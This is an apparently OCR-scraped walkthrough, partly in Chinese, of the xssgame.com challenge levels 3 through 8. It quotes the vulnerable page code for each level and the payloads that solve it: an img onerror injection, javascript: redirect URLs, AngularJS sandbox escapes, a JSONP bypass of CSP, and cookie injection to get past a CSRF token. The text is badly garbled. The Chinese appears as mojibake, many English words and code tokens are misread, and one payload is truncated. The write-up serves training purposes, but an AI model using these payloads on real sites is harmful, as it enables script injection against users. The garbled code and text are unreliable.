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<script>alert('freebuf')</script>
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Open target page in a new tab

HEiERurl: /?timer="-alert(1)-", &%,
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function chooseTab(<user provided>) {

var html = "Cat " + parseInt(<user provided>) + "<br>";
html += "<img src='/static/img/cat" + <user provided> + ".jpg' />";
document.getElementById('tabContent').innerHTML = html;
// Select the current tab
var tabs = document.querySelectorAll('.tab"');
for (var i = @; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parselInt(<user provided>)) {
tabs[i].className = "tab active";
} else {

tabs[i].className = "tab";

window.location.hash = <user provided>;

// Tell parent we've changed the tab
top.postMessage({'url': self.location.toString()}, "*");
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#1'onerror=alert(1)>
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Level 3

Complex Web applications often generate of their Ul in JavaSecript > commeon JS functions are execution sinks which means

2 you can't enter your paylc ou will have to manually edit the the URL bar provided. The
goal is 1o e tion to make it execute the JavaScnpt aler{) function.

URL |https://hith, xssgame . com/ £/ uBhrDT sXmyW]/#1 onerror="alert (1)

Level solved! Chck Bef8 10 accass the next level

Gatimage XSS Library
| cat1 JRNCHE

Cat1

Open target page in a new tab

=

E
EAUPS

I ER—NEM T, ERAIBE SR, FER SR @ url R fnextS HACRAIBEHE E T, EFIR
P

<script>
setTimeout(function() { window.location = <user provided>; }, 1000);
</script>

fEhtmldr, FEERT DR jsiRRE, Hhin:

<a href="javascript:..."></a>

HEFERZA B url:

confirm?next=javascript:alert(1)
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Level 4

Thanks for signing up, you will be redirected soon....

Level sobved? Click hers 1o access the next level.
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utm_term=&utm_campaign={{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval( 'x=alert(1)');}}

Level 5

Angular is a very popular framework that has it's own set of rules when it comes & rely developing application. One of these is that
should be can hen modifying the DOM before Angular's templating system runs

This challenge demonstrates why this is important.

The goal is again to exploit a vulnerability in the application to make it execute the JavaSc ert() function.
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You have 140 characters left.

Level sabved! Click here 1o access the next level,
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#EBRdivirE
<div>Normal: {{1 + 2}}</div>
##i: Normal: 3
#ng-non-bindable
<div ng-non-bindable>Ignored: {{1 + 2}}</div>

##7H: Ignored: {{1 + 2}}
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?query=&lcub;&lcub;a="'constructor';b=&1lcub;};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototyp
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?menu=base64_encode(<script src="jsonp?callback=alert(1)%3b%2f%2f"></script>)

EJICS

BEORRIEMA AR, LRERERIERRERN, BB LHEF FHCSRF, self-xss,CSP. /transfer ™
MR BB R Exss, BrAHEEE T B R B osrf_token®] AL cookie.
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set?name=username&value=<username>&redirect=index #{EEEI !

RIEXAurl T I B E RS 5 AR E 2R, . .
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set?name=csrf_token&value=<csrf_token>&redirect=url_encode(/transfer?name=freebufer&amount=3"><script>alert


http://blog.knownsec.com/2015/03/jsonp_security_technic/

Level 8

This challenge demonstrates many web security concepls such as CSP, Cross Site Request Forgery Tokens and Self-XSS.

al ] ] ecute the JavaScript alert() function, In this L is impaortant,

that the solution URL should trigger the same result in other 's not enough to show an URL that works on this computer

URL https://hith.xssgame . com/f/diul6LTechEL transfer iname=shielderSanount=csvg 1| Go

The amount should be an integer value. In this request the value if this

Level solved! Click here to finish the game.
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